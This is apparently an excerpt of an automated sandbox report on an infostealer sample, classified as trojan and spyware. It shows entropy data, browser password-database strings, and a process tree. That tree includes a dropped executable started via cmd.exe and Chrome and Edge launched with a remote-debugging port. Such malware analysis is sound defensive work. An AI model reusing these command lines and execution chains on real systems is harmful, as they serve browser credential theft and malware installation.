Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E2F0	0_2_6CC1E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF1AF0	0_2_6CBF1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4BA90	0_2_6CC4BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC04AA0	0_2_6CC04AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC42AB0	0_2_6CC42AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC19A60	0_2_6CC19A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC453C8	0_2_6CC453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDF380	0_2_6CBDF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC370	0_2_6CBEC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1D320	0_2_6CC1D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD5340	0_2_6CBD5340
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A5E530	27_2_00A5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A978BB	27_2_00A978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A98860	27_2_00A98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A97049	27_2_00A97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A931A8	27_2_00A931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A54DE0	27_2_00A54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A92D10	27_2_00A92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A9779B	27_2_00A9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A54B30	27_2_00A54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A87F36	27_2_00A87F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC0CBE8 appears 134 times

Source: Mp3tag.exe.29.dr

Static PE information: Resource name: RT_ICON type: tar archive (old), type ' ' (, mode 06\272, seconds \020+\327, linkname :\332, comment: h\320

Source: fb1f3ab244.exe.27.dr	Static PE information: No import functions for PE file found
Source: random[1].exe.27.dr	Static PE information: No import functions for PE file found

Source: fb1f3ab244.exe.27.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.27.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2016301876.00000000239C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2030084051.000000006CE55000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: iwfkwehn ZLIB complexity 0.9947586874427831
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983874744550408
Source: random[1].exe.0.dr	Static PE information: Section: hockpqtz ZLIB complexity 0.9949597149776453
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983874744550408
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: Section: hockpqtz ZLIB complexity 0.9949597149776453
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9983874744550408
Source: skotes.exe.23.dr	Static PE information: Section: hockpqtz ZLIB complexity 0.9949597149776453

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/305@30/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC37030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CC37030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\SCDXI0KR.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6424:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\0fb357af-c525-4bac-88b9-5d668ddfc6b8.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: select * from albums where artist like ? and album like ?;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: create table albums (discid varchar(255) not null, tracks int not null, length int not null, tone int not null, genre int not null, artist varchar(255), album varchar(255));
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: select * from albums where artist like ?;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: insert into `albums` values(?, ?, ?, ?, ?, ?, ?);
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: select * from albums where album like ?;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1668436624.000000001D745000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1758660800.000000001D739000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCAEBFIJKFIDBGH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028481209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIDGHDGIDAK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2080,i,18242314153072897791,5523460126860221555,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2380,i,15895540208041940085,12511833201022013577,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6424 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6872 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGHDGIDAK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDGHDGIDAK.exe "C:\Users\user\DocumentsIDGHDGIDAK.exe"
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceuserer --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6492 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe "C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe"
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Process created: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe "C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGHDGIDAK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2080,i,18242314153072897791,5523460126860221555,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\DocumentsIDGHDGIDAK.exe "C:\Users\user\DocumentsIDGHDGIDAK.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2380,i,15895540208041940085,12511833201022013577,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceuserer --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6492 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6424 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6872 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe "C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceuserer --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6492 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDGHDGIDAK.exe "C:\Users\user\DocumentsIDGHDGIDAK.exe"
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe "C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe"
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Process created: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe "C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
